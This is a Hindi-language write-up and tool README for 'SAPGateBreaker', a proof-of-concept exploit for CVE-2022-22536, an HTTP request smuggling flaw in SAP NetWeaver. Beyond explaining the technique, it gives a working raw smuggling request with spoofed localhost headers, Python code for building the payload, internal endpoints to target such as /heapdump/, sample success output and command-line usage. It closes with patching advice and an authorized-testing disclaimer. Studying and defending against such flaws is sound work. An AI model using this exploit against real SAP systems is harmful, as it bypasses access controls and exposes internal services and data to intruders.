
SAPGateBreaker, CVE-2022-22536 के लिए एक PoC एक्सप्लॉइट है, जो SAP NetWeaver में एक गंभीर HTTP Request Smuggling भेद्यता है। यह दर्शाता है कि कैसे विशेष रूप से तैयार किए गए Content-Length-आधारित पेलोड का उपयोग करके ICM और बैकएंड सेवाओं के बीच अनुरोध पार्सिंग को डीसिंक्रनाइज़ करके ACLs को बायपास किया जा सकता है।
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 और SAP Web Dispatcher अनुरोध स्मगलिंग और अनुरोध संयोजन के लिए असुरक्षित हैं। एक अप्रमाणित हमलावर पीड़ित के अनुरोध में मनमाना डेटा जोड़ सकता है। इस तरह, हमलावर पीड़ित के रूप में कार्य करने वाले कार्यों को निष्पादित कर सकता है या मध्यस्थ वेब कैश को दूषित कर सकता है। एक सफल हमले के परिणामस्वरूप सिस्टम की गोपनीयता, अखंडता और उपलब्धता से पूर्ण समझौता हो सकता है।
SAPGateBreaker CVE-2022-22536 के लिए एक PoC एक्सप्लॉइट है, जो SAP NetWeaver में एक महत्वपूर्ण HTTP अनुरोध स्मगलिंग भेद्यता है। यह दर्शाता है कि कैसे रचित Content-Length-आधारित पेलोड का उपयोग करके ICM और बैकएंड सेवाओं के बीच अनुरोध विसिंक्रनाइज़ेशन करके ACL को बायपास किया जा सकता है।

CVE-2022-22536 के रूप में पहचानी गई भेद्यता SAP NetWeaver Application Server में एक महत्वपूर्ण खामी का प्रतिनिधित्व करती है, जो स्थापनाओं को HTTP अनुरोध स्मगलिंग हमलों के लिए उजागर करती है। 9.8 के CVSS स्कोर वाली यह भेद्यता जावा और ABAP दोनों स्टैक को प्रभावित करती है, जिससे हमलावर एक्सेस नियंत्रण तंत्र को बायपास कर सकते हैं और आंतरिक एप्लिकेशन के साथ इस तरह बातचीत कर सकते हैं जैसे कि वे आंतरिक नेटवर्क पर हों।
HTTP अनुरोध स्मगलिंग को समझना
HTTP अनुरोध स्मगलिंग (HRS) एक उन्नत तकनीक है जो वेब बुनियादी ढांचे (आमतौर पर प्रॉक्सी, लोड बैलेंसर और बैकएंड सर्वर) के विभिन्न घटकों के बीच HTTP अनुरोधों की सीमाओं की व्याख्या में विसंगतियों का शोषण करती है। Content-Length और जैसे हेडर में हेरफेर करके, एक हमलावर एक दुर्भावनापूर्ण अनुरोध को "स्मगल" कर सकता है जो बैकएंड सर्वर की अपेक्षा से विसिंक्रनाइज़ हो।
Transfer-Encodingसार रूप में, जब एक फ्रंट-एंड और एक बैक-एंड सर्वर इस बात पर असहमत होते हैं कि एक अनुरोध कहाँ समाप्त होता है और अगला शुरू होता है, तो एक हमलावर एक दूसरा, छिपा हुआ अनुरोध इंजेक्ट कर सकता है जिसे उच्च विश्वास के साथ संसाधित किया जाएगा। इसके परिणामस्वरूप अक्सर WAF चोरी, कैश विषाक्तता, या ACL चकमा जैसी सुरक्षा बायपास होती हैं।
CVE-2022-22536 की प्रकृति
SAP का ICM (इंटरनेट कम्युनिकेशन मैनेजर) अनुचित तरीके से रचित HTTP अनुरोधों को पार्स करता है, जिससे एक स्मगल्ड अनुरोध आंतरिक सेवाओं तक पहुँच सकता है। यह विशेष रूप से खंडित आर्किटेक्चर में प्रभावशाली है, जहाँ आंतरिक सेवाओं तक सीधी पहुँच प्रतिबंधित है। इस भेद्यता का शोषण करने से हमलावर ऐसे अनुरोध जारी कर सकते हैं जो विश्वसनीय आंतरिक नेटवर्क से उत्पन्न होते प्रतीत होते हैं।
भेद्यता तब प्रकट होती है जब एक पेलोड HTTP अनुरोध के अंत की परस्पर विरोधी व्याख्याओं का दुरुपयोग करता है। इसमें आमतौर पर Transfer-Encoding: chunked हेडर इंजेक्ट करना या विसिंक्रनाइज़ेशन का कारण बनने के लिए Content-Length फ़ील्ड में हेरफेर करना शामिल है।
प्रारंभिक पेलोड विफलताएँ और चंक्ड एन्कोडिंग अस्वीकृति
परीक्षण के दौरान, विहित चंक्ड स्मगलिंग तकनीकों का लाभ उठाने वाले पेलोड ने SAP ICM से 408 Request Timeout प्रतिक्रियाएँ दीं। इस व्यवहार ने संकेत दिया कि SAP का HTTP स्टैक अपेक्षित तरीके से Transfer-Encoding: chunked का समर्थन नहीं करता है, जो पारंपरिक चंक्ड-आधारित विसिंक्रनाइज़ेशन को रोकता है।
परिणामस्वरूप, एक्सप्लॉइट पद्धति विसिंक्रनाइज़ेशन के लिए Content-Length हेडर का उपयोग करने की ओर स्थानांतरित हो गई। एक खाली चंक्ड पेलोड के बाद एक मान्य द्वितीयक HTTP अनुरोध के साथ एक रचित अनुरोध ने सफलतापूर्वक अनुरोध सीमाओं को बायपास किया। यह वैकल्पिक रणनीति आंतरिक अभिगम नियंत्रणों को बायपास करने में प्रभावी साबित हुई।
अंतिम एक्सप्लॉइट रणनीति और कोड कार्यान्वयन
कार्यशील एक्सप्लॉइट एक सार्वजनिक एंडपॉइंट (/sap/admin/public/default.html) पर Content-Length हेडर के साथ एक POST अनुरोध भेजता है, जिसके बाद एक एम्बेडेड GET अनुरोध होता है जो एक आंतरिक संसाधन तक पहुँचने का इरादा रखता है।
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
इसके परिणामस्वरूप सफल आंतरिक पहुँच प्राप्त होती है:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
कार्यान्वयन सामान्यतः प्रतिबंधित आंतरिक SAP URL की सूची के माध्यम से पुनरावृत्ति करता है। सीधी पहुँच के माध्यम से प्राप्त स्थिति कोड और स्मगल्ड अनुरोध के माध्यम से पहुँचने पर प्राप्त कोड के बीच तुलना की जाती है। यदि आंतरिक पहुँच 200 लौटाती है (जबकि सीधी पहुँच 403 या 404 लौटाती है), तो यह इंगित करता है कि स्मगलिंग तकनीक ने सफलतापूर्वक आंतरिक अभिगम नियंत्रणों को बायपास कर दिया है।
पेलोड बनाने का तर्क:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
हमले को स्मगल्ड पेलोड वाले एक रचित POST अनुरोध का उपयोग करके निष्पादित किया जाता है:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
देखे गए परिणाम
कई परीक्षण मामलों में, /sap/public/bc/icf/info या /heapdump/ जैसे एंडपॉइंट, जो सामान्यतः 403 Forbidden या 404 Not Found लौटाते थे, ने स्मगल्ड अनुरोध के माध्यम से पहुँचने पर 200 OK के साथ प्रतिक्रिया दी। यह SAP के अभिगम नियंत्रणों को सफलतापूर्वक दरकिनार करने को प्रदर्शित करता है।
टूल के आउटपुट में भेजे गए पेलोड और प्रतिक्रिया हेडर दोनों शामिल थे, जो सटीक फोरेंसिक सत्यापन सक्षम करते थे:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
सामान्य अनुरोध:


एक्सप्लॉइट अनुरोध:


निष्कर्ष
CVE-2022-22536 आधुनिक एंटरप्राइज़ सॉफ़्टवेयर स्टैक में HTTP अनुरोध स्मगलिंग द्वारा उत्पन्न लगातार खतरे को उजागर करता है। प्रस्तुत प्रूफ-ऑफ-कॉन्सेप्ट अंतर्निहित भेद्यता का एक प्रदर्शन है और सत्यापन और रक्षा परीक्षण के लिए एक उपकरण के रूप में कार्य करता है।
प्रशासकों को दृढ़ता से SAP सुरक्षा अद्यतन लागू करने और दुर्भावनापूर्ण HTTP अनुरोध प्रसार को रोकने के लिए उपयुक्त रिवर्स प्रॉक्सी सुरक्षा लागू करने की सलाह दी जाती है।
CVE-2022-22536 पर अधिक विवरण यहाँ पाए जा सकते हैं: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
SAP सुरक्षा नोट: https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker एक्सप्लॉइट
SAPGateBreaker एक स्टैंडअलोन Python टूल है जो CVE-2022-22536 के लिए परीक्षण को स्वचालित करता है, जो SAP NetWeaver Application Server में एक महत्वपूर्ण HTTP अनुरोध स्मगलिंग भेद्यता है।
उपयोग
python3 sapgatebreaker.py -u http://<लक्ष्य-होस्ट>:<पोर्ट> [--verbose]
तर्क:
-u, --url: लक्ष्य URL (उदाहरण: http://172.32.22.7:50000)-v, --verbose: प्रत्येक अनुरोध और प्रतिक्रिया के लिए विस्तृत हेडर और बॉडी आउटपुट सक्षम करता हैविशेषताएँ:
poc.txt में लॉग करता हैअस्वीकरण
यह टूल केवल शैक्षिक और अधिकृत प्रवेश परीक्षण के लिए अभिप्रेत है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध अनधिकृत उपयोग सख्त वर्जित है और लागू कानूनों का उल्लंघन हो सकता है।